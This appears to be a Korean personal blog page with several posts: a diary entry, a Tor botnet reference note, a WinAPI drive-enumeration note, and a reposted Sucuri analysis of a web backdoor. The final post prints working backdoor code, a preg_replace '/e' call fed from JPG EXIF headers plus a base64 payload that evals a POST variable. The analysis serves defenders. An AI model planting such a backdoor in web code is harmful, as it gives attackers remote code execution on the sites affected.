posted by 블르샤이닝 2013. 10. 2. 01:59
728x90
728x90

'일상' 카테고리의 다른 글

캐논-D 첼로 4중주  (0) 2014.01.23
한가인!!!여전히 아름다우십니다  (0) 2013.12.05
세상은 착하고 성실하다고 잘되는게 아니다....  (0) 2013.08.07
안구정화  (0) 2013.02.21
100만원 이하 여행지  (0) 2013.01.23
posted by 블르샤이닝 2013. 8. 21. 10:11
728x90

출처 : http://blog.hacknsecurity.com/entry/TOR-%EA%B8%B0%EB%B0%98%EC%9D%98-botnet-%EC%A6%9D%EA%B0%80


Tor프로토콜은 익명통신을 할 수 있는 시스템으로 Tor를 이용하면 패킷의 송신자를 알 수 없다. 그래서 해커들이 사이버 공격시 자신의 추적을 피하기 위해 사용하고 있다. 이번 6.25 사이버공격에서 공격자가 Tor를 사용해 공격한 것이 밝혀졌다.


Tor는 기존의 익명통신 시스템과 달리 사용자의 편의성에 초점을 맞추고 개발된 서킷 기반 저 지연 시간 익명통신 시스템이다. Tor는 TCP 프로토콜에 기반을 두어 간단한 프로그램 설치 과정을 통하여 익명통신을 할 수 있는 시스템으로, Tor를 이용하여 메시지를 보내면 전 세계에 있는 천여 개의 라우터 중 임의의 3개 라우터를 거쳐 패킷이 목적지에 도달한다. 이 때, 암호화 복호화 과정이 일어나게 되므로 공격자가 도중에 패킷을 획득하더라도 해당 패킷의 송신자를 알 수 없다. 
Tor가 사용자의 편의성에 초점을 두고 개발된 만큼 Tor가 가지고 있는 지연 시간을 줄이면서 익명성을 유지하는 것이 중요한 이슈이다. 본 논문에서는 기존의 Tor 시스템에서 사용하는 서킷 생성 알고리즘을 개선하여, Tor 시스템의 성능을 향상시키는 방법을 제안한다. 이 방법은 클라이언트가 서킷을 선택 할 때, 디렉터리 오소리티에 서킷 정보를 전송함으로써 디렉터리 오소리티가 각 라우터를 선택한 클라이언트의 수를 참고하여 각 라우터의 현재 네트워크 대역폭을 예측한다. 이 정보를 통하여 클라이언트는 서킷을 생성할 때, 각 라우터의 현재 네트워크 상태를 반영하여 라우터를 선택할 수 있다. 그로인해 현재 네트워크 대역폭에 비해 지나치게 많은 부하가 걸리는 라우터의 부담을 줄일 수 있고, 지나친 부하가 걸린 라우터를 사용하는 것을 피함으로써 패킷 전송에 따르는 지연 시간도 줄일 수 있다. 이로 인해 Tor 시스템의 성능을 향상시킬 수 있다.

C&C 서버와 스텔스 통신을 위해 Tor 프로토콜을 사용하는 2개의 악성코드Win32/Atrax.A를 분석한 자료임 


TOR 프로토콜 설명

-아주대학교 논문


000000009642_1377047725500_0.028208103561428777.pdf


TOR 이용한 BOT 분석

http://blog.hacknsecurity.com/

#WI-13-026.pdf


728x90
posted by 블르샤이닝 2013. 8. 7. 01:14
728x90

ㅎㅎ 아무리 착하고 잘해도...결국 능력없으면 뭐 없는거다.


군대랑 같다... 아무리 막나가고 미친짓을해도 일을 잘하면 결국 아무도 터치 안하는거다..


군대에서 느끼는걸 사회에서 느끼다니....이래서 군대가 사회의 축소판이라고 하는구나.....하....진짜...능


력없으면..안되는구나...개차반같이 노력하자....그게 무시안당하고 당당할수 있는것이다...


이건 누구의 잘못이 아닌 내 잘못이다....머리가 나쁜거고 능력이 없는거다...그러니까 더 미친듯이 하


자...오랜만에 기분상쾌하군....이기분 옛날에 느꼈던걸 다시 느껴서 참 감회가 새롭다...노력하자 그게 니 


자신을 어필하는거다

728x90

'일상' 카테고리의 다른 글

한가인!!!여전히 아름다우십니다  (0) 2013.12.05
Full Tilt ft. Katrina Noorbergen – Letting Go  (0) 2013.10.02
안구정화  (0) 2013.02.21
100만원 이하 여행지  (0) 2013.01.23
술 추천  (0) 2012.12.28
posted by 블르샤이닝 2013. 8. 5. 17:04
728x90
분서할떄 편하게~~API값을 토대로 드라이버 로드값을 참고해두자~

로컬 드라이브 알아내기  WINAPI 

2007/07/17 13:56

복사http://blog.naver.com/windslime/80040359840

전용뷰어 보기

자신의 로컬 시스템에 몇 개의 어떤 이름의 드라이브가 있는지를 찾는 함수는

GetLogicalDrives 함수와 GetLogicalDriveStrings 함수이다.

 

DWORD WINAPI GetLogicalDrives(void);

 

[Return]

성공시 드라이브 관련 정보 비트 값을 성정한 DWORD 값, 실패시 0을 반환한다.

 

DWORD WINAPI GetLogicalDriveStrings(
  DWORD nBufferLength,
  LPTSTR lpBuffer
);

 

DWORD nBufferLength

lpBuffer의 최대 크기. 이 크기는 종료문자를 포함하지 않은 크기이다.

만약 이 값이 0이라면 lpBuffer 는 사용되지 않는다.

 

LPTSTR lpBuffer

드라이브 이름을 받을 문자열.

 

[Return]

성공시 버퍼에 들어가 있는 문자열의 길이, 실패시 0을 반환한다.

 

위의 두 함수는 같은 기능을 하지만 얻어진 값의 사용법이 다르다.

 

GetLogicalDrives 함수는 DWORD형의 리턴 값을 받는다.

이 리턴 값의 최하위 1비트를 A 드라브로 해서 1비트씩 자릿수를 올려가면서

해당 드라이브가 있으면 해당 비트를 1로 셋팅하고 없으면 그 비트를 0으로 세팅한다.

 

ex) 시스템에 A, C, D, E, H 드라이브가 있다고 가정하면

GetLogicalDrives  함수의 리턴 값은

 

0000 0000 0000 0000 0000 0000 1001 1101

 

해서 0x9D 또는 157이 될 것이다.

 

 

GetLogicalDriveStrings 함수는 버퍼의 크기와 버퍼를 넘겨서 그 버퍼에

드라이브 문자를 받아 온다. 단지, 드라이브 이름과 드라이브 이름 사이에

널 종료문자가 위치해서 조금의 주의를 해줘야 한다.

 

ex) 시스템에 A, C, D, E, H 드라이브가 있다고 가정하면

GetLogicalDriveStrings 함수 성공시 버퍼는

 

Buffer[0] 부터

 

A : \ 0 

C : \ 0 

D : \ 0 

E : \ 0 

H : \ 0 0

순으로 들어간다.

 EX : A = 1, B = 2, C = 4, D = 8...의 형태로 하여 Long 값을 가져오던데, 

이 함수의 리턴 값은 가장 마지막 널 종료문자 위치인 20이 된다.


728x90

'시스템 해킹' 카테고리의 다른 글

힙 스프레이 공격  (0) 2014.03.31
UAC 우회  (0) 2014.01.29
시스템 정보를 보여주는 툴  (0) 2013.02.12
ker32.dll의 메모리 영향에 대한 이야기  (0) 2012.10.30
windows 8 의 보안기능  (0) 2012.09.12
posted by 블르샤이닝 2013. 7. 17. 10:28
728x90

http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SucuriSecurity+%28Sucuri+Security%29


암호화된 url  복호화 : http://ddecode.com/phpdecoder/?results=4e57b421cfdfc940c3df55c2bbecb408


Malware Hidden Inside JPG EXIF Headers

A few days ago, Peter Gramantik from our research team found a very interesting backdoor on a compromised site. This backdoor didn’t rely on the normal patterns to hide its content (like base64/gzip encoding), but stored its data in the EXIF headers of a JPEG image. It also used the exif_read_data and preg_replace PHP functions to read the headers and execute itself.

Technical Details

The backdoor is divided into two parts. The first part is a mix of the exif_read_data function to read the image headers and the preg_replace function to execute the content. This is what we found in the compromised site:

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');


Both functions are harmless by themselves. Exif_read_data is commonly used to read images and preg_replace to replace the content of strings. However, preg_replace has a hidden and tricky option where if you pass the “/e” modifier it will execute the content (eval), instead of just searching/replacing.

When we look at the bun.jpg file, we find the second part of the backdoor:

ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^

The file starts normally with the common headers, but in the "Make" header it has a strange keyword: "/.*/e". That's the exact modifier used by preg_replace to execute (eval) whatever is passed to it.

Now things are getting interesting...

If we keep looking at the EXIF data, we can see the "eval ( base64_decode" hidden inside the "Model" header. When you put it all together, we can see what is going on. The attackers are reading both the Maker and Model header from the EXIF and filling the preg_replace with them. Once we modify the $exif['Make'] and $exif['Model'] for what is in the file, we get the final backdoor:

preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");

Once decoded, we can see that it just executes whatever content is provided by the POST variable zz1. The full decoded backdoor is here:

if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..
Steganography Malware

Another interesting point is that bun.jpg and other images that were compromised, still load and work properly. In fact, on these compromised sites, the attackers modified a legit, pre-existent image from the site. This is a curious steganographic way to hide the malware.

Note: Any of Sucuri clients using Server Side Scanning are protected against this type of injection (detected by us).

728x90